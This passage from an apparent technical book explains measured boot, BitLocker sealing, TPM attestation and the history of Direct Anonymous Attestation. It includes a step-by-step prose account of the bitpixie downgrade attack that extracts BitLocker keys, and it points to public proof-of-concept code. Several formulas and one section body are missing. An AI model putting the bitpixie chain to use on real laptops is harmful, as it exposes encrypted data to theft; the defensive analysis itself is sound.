This is why a sealed BitLocker VMK released on a successful TPM2_PolicyPCR match is not a guarantee that the booted code was actually trustworthy. It is a guarantee that the booted code matched the seal-time digest. If at seal time the platform was running an older, signed, but vulnerable bootmgfw.efi, the seal binds to the BitLocker access-control PCR state selected by policy. Years later, when an attacker recreates a boot state that satisfies PCR[7] and PCR[11], the TPM cheerfully releases the key. This is the mechanism that makes bitpixie work; we will meet it again in the open-problems discussion.

The verifier (BitLocker policy, Azure Attestation policy, Intune DHA, your fleet management tool) is the only entity that knows what good means. The TPM provides reporting infrastructure; the verifier provides policy infrastructure. Measurement is reporting infrastructure, not policy infrastructure.

The log is unsigned

TPM2_Quote signs only the PCR values plus the verifier's nonce. It does not sign the TCG event log. A malicious firmware can extend an honest digest into the TPM and report a different event in the log it hands the OS. The PCR is correct; the log is a fabrication. Detection comes only from the verifier replaying the log against the quoted PCRs and flagging a mismatch.

In practice this is not a problem on benign firmware, because the firmware has no incentive to lie about its own events. It becomes a problem precisely in the cases where the firmware is the attacker: BlackLotus-class implants that own the boot manager, faulTPM-class chip compromises that own the TPM. In those cases, a verifier that trusts both the log and the quote without replaying is trusting a forged document.

The mitigation is structural and well-known: verifiers MUST replay. Azure Attestation, Intune DHA, and Microsoft's reference attestation library all replay the log against the quoted PCRs and refuse to issue a token on mismatch. Operators rolling their own attestation pipeline often skip the replay step, especially in early-prototype deployments. Skip the replay and you have an unauthenticated event list dressed up as evidence.

The cuckoo attestation class (Parno 2008)

There is a class of attack that no amount of replay or PCR profile tightening can stop. Bryan Parno's 2008 HotSec paper [198] names the problem the cuckoo attack and proposes the first formal model for establishing trust in a platform under that threat. The abstract, paraphrased lightly: any naive approach falls victim to a cuckoo attack; the model, in Parno's own phrasing, "reveals the cuckoo attack problem".

The cuckoo class is closeable, but only by binding the AK to this device's identity before trust is needed. Microsoft Autopilot [199] and Windows Hello for Business do this transparently during device enrollment: the EK certificate chain is captured at first boot, cross-checked against the OEM root, and the resulting AK is bound to a specific Microsoft Entra ID device object. Ad-hoc attestation deployments that do not capture the EK chain at enrollment are vulnerable.

Bryan Parno is now at Carnegie Mellon [200]. The cuckoo paper remains, on its eighteenth birthday, the canonical reference for the class.

Permanent limits accepted. What are people actively trying to fix that we have not solved yet?

Open problems: Bitpixie, the dbx-update UX, and what's next

The fix is the breakage. The patch that closes the most dangerous BitLocker bypass of the decade is also the patch that drowns help-desks in 48-digit recovery prompts. The structural entanglement of these two facts is the central open problem of measured boot in 2026.

bitpixie (CVE-2023-21563)

An attacker reaches behind a fully-patched, BitLocker-enabled Windows 11 laptop. They plug in a LAN cable. They plug in a USB keyboard. They press F12 to boot from network. Within five minutes the disk encryption key is on their disk.

That is bitpixie. From the Neodyme write-up [2]: "Thanks to a bug discovered by Rairii in August 2022, attackers can extract your disk encryption key on Windows' default 'Device Encryption' setup. This exploit, dubbed bitpixie, relies on downgrading the Windows Boot Manager. All an attacker needs is the ability to plug in a LAN cable and keyboard to decrypt the disk." The CVE is CVE-2023-21563 [107], described as a "BitLocker Security Feature Bypass Vulnerability" with the MSRC advisory at CVE-2023-21563 [201].

The mechanism is the limits analysis made operational. From SySS's bitpixie technical write-up [36]: "The bitpixie vulnerability in Windows Boot Manager is caused by a flaw in the PXE soft reboot feature, whereby the BitLocker key is not erased from memory. To exploit this vulnerability on up-to-date systems, a downgrade attack can be performed by loading an older, unpatched boot manager."

The chain in detail: (1) The attacker boots the target normally. The boot manager unseals the VMK, hands it to winload.efi, and loads BitLocker into the boot path. (2) Before winload.efi zeroes the VMK from RAM, the attacker triggers a PXE soft reboot (a feature of older boot manager versions) that returns control to the boot manager without a full platform reset. (3) The attacker now PXE-boots a Linux image that scans physical memory for the BitLocker FVE marker -FVE-FS- and extracts the VMK. The RAM never cleared, and no fresh platform reset or BitLocker policy challenge forced the secret out of memory. The VMK is just lying there in untouched physical memory.

The downgrade: the older boot manager whose soft-reboot path leaks the VMK is still signed by the Microsoft 2011 production certificate, which is still in db on every Secure Boot machine until that certificate's natural 2026 expiry. Secure Boot accepts the downgraded boot manager because it is still validly signed by a trusted authority that has not yet been revoked. PCR[7] records the Secure Boot policy state. It does not measure the boot-manager image, and it does not change merely because an older still-trusted bootmgfw.efi was selected. The image digest moves PCR[4], which the modern default 0x880 TPM-only profile does not select; PCR[11], the BitLocker access-control PCR, still satisfies the seal-time policy. The TPM unseals. BitLocker unlocks. The attack proceeds.

This is the architecture-forcing beat: a BitLocker policy replay with a still-trusted older signed binary. The TPM is not malfunctioning. The policy is not misconfigured. The seal is doing exactly what it was sealed to do: release the key if the selected PCR profile reproduces the state it was sealed against. The attacker just produced a profile-compatible boot, in 2024, using a signed-but-vulnerable binary the verifier has not revoked.

Public disclosure landed at the 38th Chaos Communication Congress in December 2024 [202]. From the talk abstract verbatim: "since 2022, when Rairii discovered the bitpixie bug (CVE-2023-21563). While this bug is 'fixed' since Nov. 2022 and publicly known since 2023, we can still use it today with a downgrade attack to decrypt BitLocker." The full attack chain was demonstrated on stage by Thomas Lambertz of Neodyme. The proof-of-concept code is at github.com/martanne/bitpixie [203]. (The repository handle martanne is the GitHub username; the discoverer is Rairii (August 2022); the 38C3 presenter is Thomas Lambertz (Neodyme). Press accounts that refer to "martanne" as a person are confusing the GitHub handle with an author identity.)

The KB5025885 / Windows UEFI CA 2023 rotation

Microsoft's structural response is documented in the canonical KB article on Boot Manager revocations [190]. The fix is in three stages. Stage 1: enroll the new Windows UEFI CA 2023 certificate in the Secure Boot db variable. Stage 2: replace existing boot manager binaries with copies signed by the 2023 CA instead of the 2011 CA. Stage 3: revoke the 2011 CA in dbx. The full rollout is gated on the 2026 natural expiry of the original Microsoft production signing certificate.

Stages 1 and 3 change PCR[7]: Stage 1 adds bytes to db, and Stage 3 adds bytes to dbx. Stage 2 does not directly touch the Secure Boot variables; it ships a new boot manager binary whose Authenticode digest moves PCR[4] and may alter the Windows boot transcript. On TPM-only BitLocker bound to 0x880 = PCR[7] + PCR[11], the PCR[7] stages are recovery-risk planning items; the binary-swap stage matters if the active profile or boot transcript selects PCRs that actually changed.

BlackLotus (CVE-2022-21894 "Baton Drop")

The bitpixie story does not stand alone. On March 1, 2023, ESET researcher Martin Smolár disclosed BlackLotus [1] (in his own words, "the first publicly known UEFI bootkit bypassing the essential platform security feature (UEFI Secure Boot) is now a reality."). BlackLotus exploits CVE-2022-21894 [204] ("Baton Drop"), a Secure Boot bypass in a Microsoft-signed boot manager. From the ESET write-up [1]: "Although the vulnerability was fixed in Microsoft's January 2022 update, its exploitation is still possible as the affected, validly signed binaries have still not been added to the UEFI revocation list. BlackLotus takes advantage of this, bringing its own copies of legitimate (but vulnerable) binaries to the system in order to exploit the vulnerability."

The structural fix for BlackLotus is identical to the structural fix for bitpixie: revoke the vulnerable signed binaries in dbx. Microsoft shipped the BlackLotus dbx revocations in May 2023; that update is the source of most of the "PCR[7] moved overnight" stories from the second half of 2023. The break-fix-break loop is now a recurring operational reality, not an exception.

the first publicly known UEFI bootkit bypassing the essential platform security feature (UEFI Secure Boot) is now a reality.: Martin Smolár, ESET Research, March 1, 2023

The break-fix-break loop

Post-quantum agility for the attestation key

Looking ahead, the next structural break is cryptographic: the TPM's signing primitives (RSA-2048, ECC P-256) do not survive Shor's algorithm on a sufficiently large quantum computer. The TCG's PC Client Platform Firmware Profile revision 2 work is expected to target post-quantum agility for attestation keys: ML-DSA (Dilithium) and ML-KEM (Kyber) variants of the signature and key-encapsulation primitives that TPM2_Quote and TPM2_ActivateCredential depend on.

The constraint that limits the rollout is mechanical. The TPM 2.0 command and response buffer is, by default, 4096 bytes. A Dilithium Level 3 (ML-DSA-65) signature is 3,309 bytes per FIPS 204 [109]. An RSA-2048 signature is 256 bytes. The buffer survives RSA quotes with vast headroom; it has roughly 800 bytes of headroom for an ML-DSA-65 quote. ML-KEM-768 (NIST Category 3) ciphertexts are 1,088 bytes per FIPS 203 [108], with public keys at 1,184 bytes: still tight in a workflow that also requires an ML-DSA-65 signature, which is a distinct TPM operation rather than part of the same command response. A plausible PFP r2 pressure point is negotiating buffer growth across the TPM-firmware-OS path so the post-quantum primitives fit. The TCG specifications site [83] returns HTTP 403 to non-browser User-Agents, so this chapter cites the canonical URL but does not assert a fetch-verified interim buffer-size commitment from TCG or Microsoft.

DRTM coverage gaps

DRTM is a Secured-core feature; not every fleet runs Secured-core hardware. Raw Intel TXT has shipped on vPro platforms since the Q3 2007 introduction of the Intel DQ35JO board [195], but the deployable surface for Microsoft Secure Launch is narrower because Secured-Core also requires HVCI, kernel DMA protection, and an SMM Supervisor. Microsoft lists System Guard support for Intel vPro Coffee Lake/Whiskey Lake or later, AMD Zen 2 or later, and Qualcomm SD850 or later [188], but actual Secure Launch deployment also depends on firmware and OEM enablement, Windows configuration, VBS/HVCI, DMA protection, SMM protections, and Device Guard policy. Fleets dominated by pre-2018 hardware (and there are many of them, especially in cost-sensitive deployments) cannot use Secure Launch as a SRTM allowlist substitute.

For those fleets, the only deployable mitigation against bitpixie remains pre-boot authentication (TPM+PIN). The cuckoo class remains open against ad-hoc attestation pipelines that do not bind AKs to device serials at provisioning. The OEM allowlist combinatorial explosion remains the unsolved problem that pushed Microsoft to DRTM in the first place.

PFP r2 in flight

The PC Client Platform Firmware Profile is in active revision. PFP r2 is expected (not yet verified from a fetchable primary source here) to formalize SHA-3 support, revisit default bank guidance, and clarify the PCR[14] semantics that have been a Microsoft-vs-Linux ontology disagreement for the past decade. Because the TCG canonical URL [185] returns the same 403 class to non-browser fetches, this chapter leaves the revision number unspecific; the tpm2_eventlog man page [187] tracks the spec by name without a rev number, deliberately so it can absorb a future revision without rebuild.

You have a recovery prompt to clear on Monday morning. What do you do?

Verify it yourself (documented)

There is no captured silicon-tier evidence for this chapter in book/evidence/, so this section deliberately contains no 🟢 captured blocks: only documented, reproducible commands. They are evidence of how to inspect the platform, not a claim that this book captured physical silicon values from your machine.

tpmtool getdeviceinformation

Expected shape:
  - TPM manufacturer and specification information
  - PCR banks and selected PCR values
  - measured-boot / WBCL-related device information where available
  - enough context to correlate current PCRs with the TCG event log

Interpretation:
  The tool gives you the measured-boot surface. It does not, by itself,
  decide whether the state is good. A verifier still has to replay the
  WBCL / TCG event log and compare it with trusted PCR values or a quote.

manage-bde -protectors -get C:

Expected semantics:
  - displays all key protection methods enabled on the drive
  - shows protector type and identifier for each protector
  - on a TPM-backed OS volume, expect a TPM-family protector such as
    TPM, TPM And PIN, TPM And Startup Key, or TPM And PIN And Startup Key
  - expect a recovery protector such as Numerical Password

Default UEFI BitLocker validation profile when Secure Boot PCR[7]
support is available:
  PCR[7]   Secure Boot State
  PCR[11]  BitLocker access control
  bitmask  0x880

The verification pattern is three-part even when only two inbox commands are needed: read the measured-boot surface, read the protector state, and interpret the PCR profile. If the machine is a VM, label any PCR or TPM identity value as emulated. If the protector is TPM-only, physical-access risk includes downgrade and pre-boot classes; TPM+PIN changes that calculus.

Practical guide: A Monday-Morning checklist

Six actions. Each one tied to a verified Microsoft Learn or TCG source. Run them in order; you will know more about your fleet's measured-boot posture in twenty minutes than most operators learn in a year.

Inspect your log

Run tpmtool gatherlogs <dir> from an elevated prompt to collect the SRTM/DRTM boot logs, or call Tbsi_Get_TCG_Log for API-level WBCL access [182], [191]. For a clean machine-readable dump, save the binary log via MeasuredBootTool.exe -log <path> [182] (Windows HLK), then parse it with tpm2_eventlog [187] for a portable text dump. The event stream conforms to the TCG_PCR_EVENT2 struct documented in the Tbsi_Get_TCG_Log reference [182].

Confirm your BitLocker PCR profile

Run manage-bde -protectors -get C: from an elevated prompt and confirm a Numerical Password recovery protector exists: without one, you cannot recover from a profile mismatch and you are one PCR drift away from data loss (manage-bde -status C: reports overall protection state). Then, if the policy is configured, inspect HKLM\SOFTWARE\Policies\Microsoft\FVE\PlatformValidationProfileUEFI; on a Secure Boot UEFI machine a configured value is typically 0x880 (PCR[7] + PCR[11]) per the BitLocker countermeasures documentation [105]: "By default, BitLocker provides integrity protection for Secure Boot by using the TPM PCR[7] measurement."

If you see 0x815 (PCR[0,2,4,11]), you are on the non-PCR[7] legacy validation profile (a CSM/legacy boot, or a UEFI system where Secure Boot PCR[7] binding is unavailable) and every firmware update will trigger a recovery prompt. The fix is to verify Secure Boot is on (Confirm-SecureBootUEFI from PowerShell), then re-seal by disabling and re-enabling the TPM protector.

Suspend BitLocker before selected-PCR updates

The safe pattern for firmware, Secure Boot DB/DBX, or boot-chain updates that may move PCRs in your active profile is this:

The full Suspend-Patch-Resume PowerShell incantation.

# Run as administrator.
# Suspend BitLocker for the next 1 reboot. BitLocker auto-resumes after the
# next clean boot completes, regardless of how many additional boots happen.
Suspend-BitLocker -MountPoint "C:" -RebootCount 1

# Now run the OEM firmware updater or the Windows cumulative update that
# touches Secure Boot. The PCRs will move; BitLocker will not see a mismatch
# because the seal check is bypassed for this boot.

# After the patch reboot, BitLocker automatically re-seals to the new PCR
# values. To verify, run:
manage-bde -status C:
# The output should show "Protection On" and the new PCR profile.

Enable Secure Launch on Secured-Core hardware

If your hardware and firmware meet the Secure Launch requirements Microsoft lists for System Guard-class devices [188], [104], enable Secure Launch. The configuration guide [104] lists the four paths: MDM via Intune, Group Policy, the Windows Security UI, or the registry directly at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios. Once enabled, Secure Launch moves verifier attention from the large SRTM firmware transcript to a smaller DRTM transcript. That reduces the OEM allowlist burden, but the allowlist still varies with ACM/SLB, SKL/TCB-launch, MLE, policy, TPM bank, and platform context.

For high-value devices, switch to TPM+PIN

This is the deployed mitigation this chapter recommends for bitpixie-class physical downgrade risk. From Microsoft's countermeasures documentation [105], four unlock modes exist: TPM-only, TPM+startup-key, TPM+PIN, TPM+startup-key+PIN. Of those, modes that require a human secret are the robust answer to this downgrade path. The attacker may recreate the selected seal-time PCRs by booting an older signed boot manager, but they cannot recreate the PIN.

Enable it with manage-bde -protectors -add C: -tpmandpin <PIN>. Users will type the PIN at boot. For Secured-Core fleets where the BIOS exposes USB and TPM+PIN before the OS, this is the best practical security/UX trade. For high-value developer or executive endpoints it is non-negotiable.

Bind your attestation keys to the device at provisioning

The cuckoo class only closes if the verifier knows the specific TPM's endorsement key before trust is needed. Microsoft Autopilot and Hello for Business do this transparently [199] during device enrollment, capturing the EK certificate chain and cross-checking it against the OEM root before issuing the device-bound key. Ad-hoc deployments ("we joined our domain after first boot") usually skip this step and leave the cuckoo path open. If you run an attestation pipeline outside Hello for Business or Azure Attestation, audit your AK provisioning: is the EK chain captured at first boot, and is it bound to a unique device record?

The Monday-morning steps are six items long. The structural questions are not. We close with the questions every reader still has.

Attestation

What this link is responsible for

Attestation has one job: carry the silicon’s promise to someone who is not on the machine.

Measured Boot records facts locally. Secure Boot says the firmware should only load signed components. The TPM records the sequence in PCRs. BitLocker can seal a key to that state. All of that helps the local machine defend itself. None of it, by itself, answers the cloud’s question: is the device asking for this token the same class of device that booted through the policy I require?

The relying party cannot ask msinfo32. It cannot ask Task Manager. It cannot ask an agent whose answer may be produced after compromise. It needs evidence anchored below Windows: a TPM-resident key signs a fresh statement about PCRs; a certificate chain or issuer credential says that signing key is really TPM-bound; an attestation service maps the raw evidence to claims such as secureBootEnabled, aikValidated, codeIntegrity, or virtualizationBasedSecurity; the relying party consumes those claims in policy.

There are therefore two separable questions in every attestation design. The first is state: which measurements, logs, and security-mode flags are being asserted? The second is identity: why should the verifier believe the signing key is inside genuine hardware rather than generated by a script? Confusing the two creates bad reviews. A beautiful PCR quote signed by an uncertified software key proves nothing about silicon. A perfectly certified AIK over the wrong PCR selection proves only that the wrong question was signed by real hardware.

That is why attestation is the bridge from local boot integrity to remote authorization. Silicon and firmware produce the measurements. Cloud control planes decide whether those measurements are good enough to receive corporate data, an Entra token, an Intune compliance state, or access to a workload. Without attestation, measured boot is local hygiene. With attestation, it becomes a remote authorization input.

The link is deliberately narrow. It proves that a particular boot story was measured and signed by a key the verifier accepts as TPM-protected. It does not prove the machine is currently uncompromised. It does not prove the user is benign. It does not prove the MDM policy is wise. It gives the next layer a cryptographic floor: “this device’s boot evidence satisfied the policy at the time of attestation.” Everything after that is someone else’s trust problem.

The production Windows flow: EK, AIK, quote, Privacy-CA

The production Windows flow is Privacy-CA-shaped. Microsoft Azure Attestation’s TPM documentation describes the pillars plainly: validate TPM authenticity, then validate the measurements made during boot [199]. The authenticity leg starts with the EK. A CA establishes trust in the TPM through EKPub or EKCert; the device proves the requested attestation key is cryptographically bound to that EK and that the TPM owns EKPriv; the CA issues a certificate or claim with a special policy denoting that the key is protected by a TPM [199].

That certified key is the AIK. The AIK signs quotes over a digest of the selected PCRs. The quote binds three things: the selected PCR values, a relying-party nonce, and the TPM-resident private key. The boot log explains what was extended; the PCRs commit to the result; the AIK signature prevents a compromised operating system from editing the values in transit. The relying party or attestation service then checks whether the measurements match the policy it cares about.

The nonce is not decorative. Without it, a compromised host could replay last week’s good quote after today’s bad boot. With it, the signed object is tied to a challenge the verifier just generated. Freshness is what turns a stored boot receipt into live evidence. The verifier still has to decide how long that evidence remains acceptable after issuance, but replay is no longer a free attack against the protocol itself.

Microsoft’s attestation policy examples make the bridge explicit: a TPM-bound AIK must validate, Secure Boot must evaluate as enabled, and only then does policy issue a platform-attested claim [199]. Windows device-health surfaces expose the same idea at management scale through Microsoft Graph’s deviceHealthAttestationState, including fields such as attestationIdentityKey, secureBoot, codeIntegrity, bootDebugging, testSigning, safeMode, windowsPE, earlyLaunchAntiMalwareDriverProtection, virtualSecureMode, pcrHashAlgorithm, and pcr0. These are not magic truth fields. They are the management-plane rendering of attestation evidence: boot measurements interpreted into device-health state for Intune and related MDM consumers [207].

The privacy question lives inside the EK-to-AIK step. The EK is uniquely identifying by design. If every relying party saw the EK, attestation would become a cross-site device-tracking mechanism. The classic TCG answer is the Privacy-CA: the CA sees the EK, certifies an AIK, and the verifier later sees only the AIK certificate. Privacy is operational. The CA promises not to log or disclose the EK-to-AIK linkage.

This is a respectable engineering choice, not a footnote. Enterprises often want revocation, audit trails, support tickets, and a place to ask why a device failed. A Privacy-CA gives them a database, logs, certificate issuance policy, and a familiar PKI failure model. The price is that the broker becomes part of the privacy and availability story. If the broker logs too much, is compelled to produce records, misissues certificates, or is unavailable during enrollment, the attestation system inherits that operational reality.

Direct Anonymous Attestation was invented to remove that promise. In DAA, the TPM runs a one-time Join protocol with an issuer and receives a membership credential. Later it signs in zero knowledge: “I hold a valid issuer credential” without revealing which TPM holds it and without asking the issuer to participate in each verification. The rest of this chapter follows that thread: the DAA history, the Privacy-CA trap, the ECDAA mechanism, the TPM2_Commit surface, the FIDO ECDAA deprecation, and the Windows/Azure reality that made broker-mediated attestation win production.

Specified everywhere, deployed nowhere

The TPM 2.0 Library Specification published since 2014 names a zero-knowledge proof of knowledge; Windows-class platform profiles later made the relevant algorithm optional. The algorithm identifier TPM_ALG_ECDAA (value 0x001A) appears in Part 2 (Structures). The command pair TPM2_Commit and TPM2_Sign appears in Part 3 (Commands). The mathematical construction appears in Part 1 Annex C.5. When ECDAA is implemented, the mandated curve is TPM_ECC_BN_P256 (0x0010), a 256-bit Barreto-Naehrig curve picked specifically because it admits the asymmetric pairings the protocol needs [83]. A conforming TPM 2.0 chip with ECDAA enabled can produce a signature that proves the chip is a genuine TPM whose endorsement key was certified by a known issuer: without revealing which TPM, and without an online certificate authority sitting in the verification path. The cryptography is called Direct Anonymous Attestation, and the Wikipedia article notes that the construction is "implemented by both EPID 2.0 and the TPM 2.0 standard" [208].

Almost nobody uses it.

Microsoft Azure Attestation does not. Its public architecture document describes a certificate authority that ingests endorsement-key certificates and issues per-key JWTs with a special issuance policy [199]. The Windows Health Attestation Service does not. AWS Nitro Enclaves does not [209]. Apple App Attest does not [210]. Google Play Integrity does not [211]. WebAuthn Level 1 registered ECDAA as an attestation type carried inside the packed and tpm formats in March 2019; WebAuthn Level 2 in April 2021 removed it entirely [212]. The TCG PC Client Platform TPM Profile, the document that governs which TPM 2.0 algorithms an OEM must support to ship a Windows-class platform, made TPM_ALG_ECDAA and TPM_ALG_ECSCHNORR optional in v1.04 (February 2020) and has carried that designation through v1.07 RC1 (December 2025) [115]. Microsoft Pluton, the security processor covered in the Pluton chapter (Chapter 3), exposes its algorithms through a TPM 2.0 personality; that published surface does not advertise ECDAA at all [6].

The most thoroughly standardized hardware-anchored group-signature primitive in the history of platform security is specified everywhere, implemented or exposed unevenly, and verified in almost no production systems.

Why?

To answer the question of why, we have to start where every TPM attestation story does: with the architecture DAA was invented to replace.

The Privacy-CA trap (1999-2003)

TPM 1.1, originally published by the Trusted Computing Platform Alliance in 2002 and taken over in April 2003 by the Trusted Computing Group that replaced it [213], had a privacy story. The story was a broker called the Privacy Certificate Authority. The story had a single load-bearing flaw, and the field spent the next two decades writing papers about it.

The mechanism, paraphrased from the Wikipedia summary that itself paraphrases the TCG spec, is five steps [208]:

1. A TPM manufacturer embeds a 2048-bit RSA Endorsement Key (EK) at the time the chip is provisioned, along with a certificate EKCert signed by the manufacturer [74].
2. The platform generates a fresh Attestation Identity Key (AIK) inside the TPM.
3. The platform sends (EKCert, AIKpub, proof-of-binding) to a Privacy-CA.
4. The Privacy-CA validates the EK certificate, confirms the binding proof, and issues Cert(AIKpub) signed by the CA.
5. The platform uses the AIK to sign TPM attestation structures such as PCR quotes (the boot event log is presented separately and replayed against the quoted PCR digest) and TPM2_Certify key-attestation outputs, and presents Cert(AIKpub) to relying parties as proof that the AIK is TPM-resident.

The architecture has three structural problems, and the Wikipedia summary of the original TPM 1.1 design makes the most uncomfortable one explicit: "privacy requirements may be violated if the privacy CA and verifier collude" [208]. The Privacy-CA can link AIKs to EKs. It promises not to. That promise is enforceable by audit, by legal contract, by reputation, and by the threat of a regulator finding out. It is not enforceable by mathematics.

The other two problems are availability and concentration. Wikipedia again, on the TPM 1.1 design: "the privacy CA must take part in every transaction" [208]. Every AIK certification is a synchronous network round-trip to a single CA. The CA is therefore a high-availability target, a high-value attack target, and a high-throughput service obligation for whoever decides to operate one. The FIDO Alliance, fifteen years later, wrote down the operational consequences of that obligation with surprising frankness in its ECDAA Algorithm v2.0 specification [214]:

An alternative approach to 'group' keys is the use of individual keys combined with a Privacy-CA [TPMv1-2-Part1]. Translated to FIDO, this approach would require one Privacy-CA interaction for each Uauth key. This means relatively high load and high availability requirements for the Privacy-CA. Additionally the Privacy-CA aggregates sensitive information (i.e. knowing the relying parties the user interacts with). This might make the Privacy-CA an interesting attack target.: FIDO ECDAA Algorithm v2.0 Implementation Draft, 2018

The FIDO document was written in 2018, but it is operating on a problem that was current in 2003. The Privacy-CA model concentrates the very identifiers it is supposed to anonymize. A regulator with a subpoena, an insider with a database query, or a successful attacker with persistent access can recover the linkage the CA promised to forget. In 2003 the TCG named the missing primitive (a direct attestation scheme whose anonymity was guaranteed by math rather than a CA's promise) and the cryptographic literature went to work on it.

The Privacy-CA architecture is still production architecture in 2026. Microsoft Azure Attestation runs a Privacy-CA in everything but name. Its public documentation describes a CA-mediated flow whose five-step shape mirrors the TPM 1.1 Privacy-CA almost line for line: "A certification authority (CA) establishes trust in the TPM either via EKPub or EKCert... The CA issues a certificate with a special issuance policy to denote that the key is now attested as protected by a TPM" [199]. The full verbatim Microsoft Learn quote is reproduced later, in the Windows case study, where it anchors the Microsoft analysis.

The same pattern repeats across every hyperscaler. AWS Nitro Enclaves produces signed attestation documents, verified against an AWS-operated X.509 certificate chain, that contain enclave measurements (PCRs) and instance/module identifiers [209]. Apple App Attest issues per-app device identifiers from Apple-operated infrastructure [210]. Google Play Integrity ships integrity verdicts signed by Google-operated infrastructure [211]. In 2026 the operational descendants of TPM 1.1's Privacy-CA broker run the production attestation surface of every consumer-grade cloud platform.

By 2003 the field had a name for the missing primitive: a direct attestation scheme that delivered the Privacy-CA's anonymity property cryptographically rather than operationally. What followed was an academic lineage that had been quietly building, for a decade and a half, the primitives that lineage required.

The pre-history: Group signatures before DAA (1991-2003)

Direct Anonymous Attestation was invented in 2004. The primitive it was built from was invented in 1991, in a paper that had nothing to do with TPMs.

David Chaum and Eugene van Heyst presented "Group Signatures" at EUROCRYPT 1991 [218]. The construction was a curiosity: a digital signature scheme in which any one of n group members could sign on behalf of the group, the verifier could check that some member of the group signed, and a designated group manager could, given a signature, recover the identity of the signer. The use case Chaum and van Heyst had in mind was organizational: a company spokesperson signs press releases on behalf of the company; the CEO can, if necessary, recover which spokesperson signed which release.

The 1991 construction had a fatal practical property: signature size was linear in the size of the group. A 10,000-member group meant a 10,000-component signature. For a primitive intended to handle organizational use cases at organizational scale, this was a non-starter. The next decade is a sequence of papers, each adding one property to the previous, each addressing the issue that made the previous unfit for deployment.

Jan Camenisch and Markus Stadler, at CRYPTO 1997, gave the field its first constant-size group signature: signature length independent of the number of group members, suitable for groups of arbitrary size [219]. Their construction relied on a particular kind of zero-knowledge proof of knowledge of a discrete logarithm whose form would, six years later, become the structural template for DAA's Sign protocol. The CS97 scheme had its own problems: the security proof made strong assumptions, and the construction was vulnerable to "framing" attacks where a malicious group manager could forge signatures attributable to other members, but the size barrier was broken.

Three years later, at CRYPTO 2000, Giuseppe Ateniese, Jan Camenisch, Marc Joye, and Gene Tsudik introduced what the field now calls the ACJT scheme [220]. The Springer abstract is unusually direct about what ACJT contributed: the paper "introduces a new provably secure group signature... proven secure and coalition-resistant under the strong RSA and the decisional Diffie-Hellman assumptions." The property that made ACJT important was coalition resistance: a formal guarantee that no subset of k group members, no matter how large, could collude to produce a valid signature that did not open to one of them. ACJT's security proofs were the first in the group-signature literature to treat coalitions as a first-class threat model.

ACJT was the construction the DAA designers built on. The reason is in its protocol structure. The ACJT signer holds a signed credential on a secret membership value f. Signing a message means producing a non-interactive zero-knowledge proof of knowledge of (f, signature) satisfying the group manager's verification equation, bound to the message. The proof is constant-size; the verifier checks it against the group public key and learns only that some member signed.

Jan Camenisch and Anna Lysyanskaya, working in parallel, were building the other primitive DAA would need. Their EUROCRYPT 2001 paper introduced what the field now calls CL credentials: a digital signature scheme with two unusual properties [222]. First, a signer can issue a signature on a committed value Commit(f) without seeing f itself, so the holder of f ends up with a signature on something the signer never learned. Second, a holder of (f, signature) can prove possession of that pair in zero knowledge, revealing neither f nor the signature itself.

CL signatures gave the field a clean way to issue a member credential without the issuer ever learning the member's secret: exactly the property a TPM needs when receiving a long-lived DAA credential from an issuer who, by design, must remain unable to recognize the TPM later. Camenisch and Lysyanskaya's CRYPTO 2004 paper extended the construction to bilinear pairings [223], a generalization that would matter for the elliptic-curve DAA schemes of the next decade.

A sibling lineage was building in parallel. Dan Boneh, Xavier Boyen, and Hovav Shacham presented "Short Group Signatures" at CRYPTO 2004 [224]. The BBS scheme used bilinear pairings to compress group signatures to a few hundred bytes: signatures, in the abstract's words, "approximately the size of a standard RSA signature with the same security." BBS gave the W3C Verifiable Credentials community a primitive that descendants like BBS+ would later use for selective-disclosure credentials. BBS itself did not become the TPM construction. The DAA designers, working from ACJT and CL, took a different path.

By 2003 the primitives existed. The TPM community had the use case. The two communities had not yet met. In 2004, three authors at three different industrial labs made the introduction.

The breakthrough: DAA-RSA (Brickell-Camenisch-Chen, CCS 2004)

The introduction happened at ACM CCS 2004. Ernie Brickell at Intel, Jan Camenisch at IBM Zurich, and Liqun Chen at HP Labs Bristol published "Direct Anonymous Attestation" [225]. The IACR ePrint abstract makes the structural contribution explicit:

Direct anonymous attestation can be seen as a group signature without the feature that a signature can be opened, i.e., the anonymity is not revocable. Moreover, DAA allows for pseudonyms, i.e., for each signature a user (in agreement with the recipient of the signature) can decide whether or not the signature should be linkable to another signature. DAA furthermore allows for detection of 'known' keys: if the DAA secret keys are extracted from a TPM and published, a verifier can detect that a signature was produced using these secret keys.: BCC 2004 (IACR ePrint 2004/205)

Two design moves did the work, and naming them clearly is the first step in understanding why DAA solved the Privacy-CA problem.

The first move is a subtraction. Every prior group-signature scheme (Chaum-van Heyst, Camenisch-Stadler, ACJT, BBS) gave a designated group manager the power to open a signature and recover its signer. For a TPM attestation primitive, the opening capability is undesirable. An issuer who can open is morally a Privacy-CA: it has the linkage information the architecture is supposed to forget. BCC 2004 removes the opening capability entirely. No party can de-anonymize a signature: not the issuer, not the verifier, not a coalition of either. The IACR ePrint 2004/205 abstract captures the consequence: DAA "can be seen as a group signature without the feature that a signature can be opened, i.e., the anonymity is not revocable" [225]. Once the credential is issued, the issuer has no cryptographic handle left to break the user's privacy.

The second move is a substitution. Where prior schemes traced misbehaving signers by manager-controlled opening, DAA introduces a user-controlled linkability mechanism through what the BCC paper calls a basename-keyed pseudonym. The signing TPM holds a secret membership value f. The verifier supplies a basename bsn (a string the verifier picks per session, per relying party, or per global epoch). The TPM derives a pseudonym

where H_Γ hashes the basename into a generator of a multiplicative group Γ. The pseudonym N_V has two structural properties. If the same verifier reuses the same bsn across sessions, signatures from the same TPM produce the same N_V, so the verifier can link them (and blacklist them if needed). If the verifier randomizes bsn per session, or sets bsn to the special value ⊥ indicating "no linkability," signatures from the same TPM produce different N_V values that are indistinguishable from random.

Together the subtraction and the substitution define the DAA contract. The Issuer issues a CL signature on the TPM's secret f during a one-time Join. The TPM thereafter holds the credential (f, A, e, v): the secret membership value plus the CL signature components. To sign a message m against a verifier-supplied basename bsn, the TPM:

1. Computes the pseudonym N_V = ζ^f mod Γ where ζ = H_Γ(bsn).
2. Randomizes the CL signature: picks a fresh w, computes T_1 = A · S^w mod n and T_2 = g^e · h^w mod n.
3. Produces a Fiat-Shamir non-interactive zero-knowledge proof of knowledge of (f, A, e, v, w) satisfying the CL verification equation

binding the proof to the tuple (m, T_1, T_2, N_V).

